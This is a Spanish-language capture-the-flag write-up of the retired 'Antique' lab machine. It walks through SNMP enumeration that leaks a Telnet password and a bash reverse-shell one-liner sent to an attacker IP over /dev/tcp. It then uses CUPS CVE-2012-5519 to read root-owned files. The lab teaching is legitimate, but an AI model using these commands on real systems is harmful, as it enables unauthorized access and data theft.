Antique Write-Up

Fecha de lanzamiento27 Sep 2021
EstadoRetirada
DificultadEasy
PlataformaLinux
IP10.10.11.107

RECONOCIMIENTO

Para la fase de reconocimiento usaremos la herramienta nmap.

Vamos a escanear el total de puertos existentes de la máquina Antique por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no queremos que nos aplique resolución DNS para evitar posibles demoras en el escaneo.

nmap -p- --open -T5 -n -v 10.10.11.107

Como únicamente nos reporta que esta abierto el puerto 23 (Telnet) vamos a realizar también un escaneo por UDP. Como este tipo de escaneo por lo general es bastante más lento, vamos a indicar que nos lo realice solo a los 100 puertos más comunes.

nmap -sU --top-ports 100 --open -T5 -n -v 10.10.11.107

Una vez los dos escaneos de puertos realizados, lo normal sería lanzar una serie de script básicos de enumeración y tratar de detectar las versiones y los servicios de los puertos. Lo guardaremos en un fichero con el nombre targeted para poder volver a consultarlo a lo largo de toda la intrusión.

nmap -sCV -p23 -oN targetedTCP 10.10.11.107
nmap -sU -sCV -p161 -oN targetedUDP 10.10.11.107

El fichero targetedTCP vemos que nos reporta que existe una autenticación requerida a nivel del protocolo Telnet. En el escaneoUDP tenemos abierto el puerto 161 que es por el que comenzaremos la intrusión.


EXPLOTACION

Puerto 161 (UDP) – SNMP

SNMP (Simple Network Management Protocol) es un protocolo de capa de aplicación basado en IP que intercambia información entre una solución de administración de red y cualquier dispositivo habilitado para SNMP. Es un protocolo orientado a datagramas. El agente (dispositivo gestionado) envía información al dispositivo central y ésta se almacena en una base de datos llamada MIB.

Tener acceso a esta información nos puede servir ya que es una excelente fuente de información entre la cual podemos encontrar:

  • Usuarios
  • Programas Instalados
  • Puertos abiertos
  • Etc…

Para ver o modificar sistemas mediante el protocolo SNMP, los administradores de red usan las famosas “Community Strings”, que se asemejarían a un ID de usuario o contraseña que les da acceso a los diferentes sistemas. Las más comunes son “Public” y “Private” pero se pueden usar más (existen herramientas para realizar fuerza bruta).

Podemos fijarnos que la versión de SNMP que encontramos en la máquina Antique es la SNMPv1. Es la más antigua e insegura ya que se vale de la autenticación en texto plano. Algo que podemos utilizar para recabar información sobre los dispositivos es aprovechar que en esta versión la community string por defecto está establecida como “Public”.

Usaremos la herramienta snmpwalk.

snmpwalk -c public -v1 10.10.11.107

Únicamente nos devuelve como información una STRING con el nombre de la máquina. Esta herramienta cuando no se le indica ningún OID, no nos devuelve la información directamente comenzando desde la raiz. Para forzarlo escribiremos un 1 en el comando.

snmpwalk -c public -v1 10.10.11.107 1

Observamos que la información que nos devuelve ahora es diferente y parece una cadena de BITS encodeada en hexadecimal. Vamos a decodearla y ver que es lo que hay en texto claro.

echo '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xargs | xxd -ps -r ; echo ''

Parece que el texto plano nos devuelve una contraseña así que, recordando que por TCP teníamos el puerto 23 abierto donde nos pedía una contraseña, probaremos a ver si podemos continuar la explotación por ese puerto.

Puerto 23 – Telnet

Para ello nos conectamos al puerto 23 y cuando nos pide la contraseña introducimos la que habíamos guardado.

telnet 10.10.11.107 23

Tenemos acceso a un menú donde nos muestra diferentes comandos que podemos utilizar. Nos llama la atención el comando “exec” ya que en teoría nos permite ejecutar comandos a nivel de sistema. Así que vamos a tratar de entablarnos una reverse shell mediante una linea de código Bash. Así que nos ponemos en escucha con Netcat y esperaremos ahí a la conexión entrante.

nc -lvnp 443
exec bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"

Si hemos realizado todo de manera correcta, tendremos una conexión entrante por el puerto 443 que hemos puesto a la escucha y obtendremos una shell para realizar ejecución de comandos. Pero vemos que esta shell no es interactiva, ya que no podemos usar shortcuts ni tenemos un prompt y además las dimensiones no están ajustadas a nuestra terminal. Vamos a realizar una serie de comandos en cadena para obtener una shell interactiva. En este caso usaremos Python3 ya que está instalado en la máquina Antique.

python3 -c 'import pty;pty.spawn("/bin/bash")'
^z                                                   #Ponemos en background el proceso.
stty raw -echo;fg
          reset                                      #Mientras lo escribimos no lo vamos a ver. Una vez escrito darle al enter para que cargue el prompt.
export TERM=xterm
export SHELL=bash
stty rows 52 columns 213                             #Los valores de vuestra terminal podeis verlos con el comando stty -a

Ya tendremos una shell interactiva como el usuario LP que es un usuario con bajos privilegios, por lo que será necesario escalar privilegios.


ESCALADA DE PRIVILEGIOS

Si consultamos como el usuario LP los puertos que tiene abiertos la máquina, observamos que el puerto 631 está abierto pero no estaba expuesto externamente así que vamos a enviar una petición para ver si nos devuelve información interesante las cabeceras de la respuesta. Nos da una versión del servicio CUPS que se está utilizando, pero para concretar más intentaremos mediante el comando grep buscar una versión más concreta en la respuesta del servidor.

netstat -nat
curl -I http://localhost:631
curl http://localhost:631 | grep "1.6"

Vemos que la versión es la 1.6.1. Si buscamos en Internet exploits de esta versión vemos una referencia (CVE-2012-5519)

Existe una vulnerabilidad en CUPS < 1.6.2 que permite a usuarios que están en el grupo lpadmin leer archivos en los cuales no tiene permisos para ello. La ejecución se basa en el uso del comando cupsctl donde mediante el parámetro ErrorLog vamos a indicar la ruta del archivo que queramos mostrar por pantalla. A continuación visitaremos la página “/admin/log/error_log” y nos mostrará el output del archivo.

En este caso el archivo que queremos leer es la flag (/root/root.txt) por lo que los comandos a realizar son los siguientes:

cupsctl ErrorLog=/root/root.txt
curl http://localhost:631/admin/log/error_log

Vemos que hemos obtenido la flag de ROOT y podemos consultar perfectamente la flag del usuario ya que se encuentra en su /home y tenemos los permisos suficiente por lo que la máquina ya estaría resuelta.

Jorge Escrito por: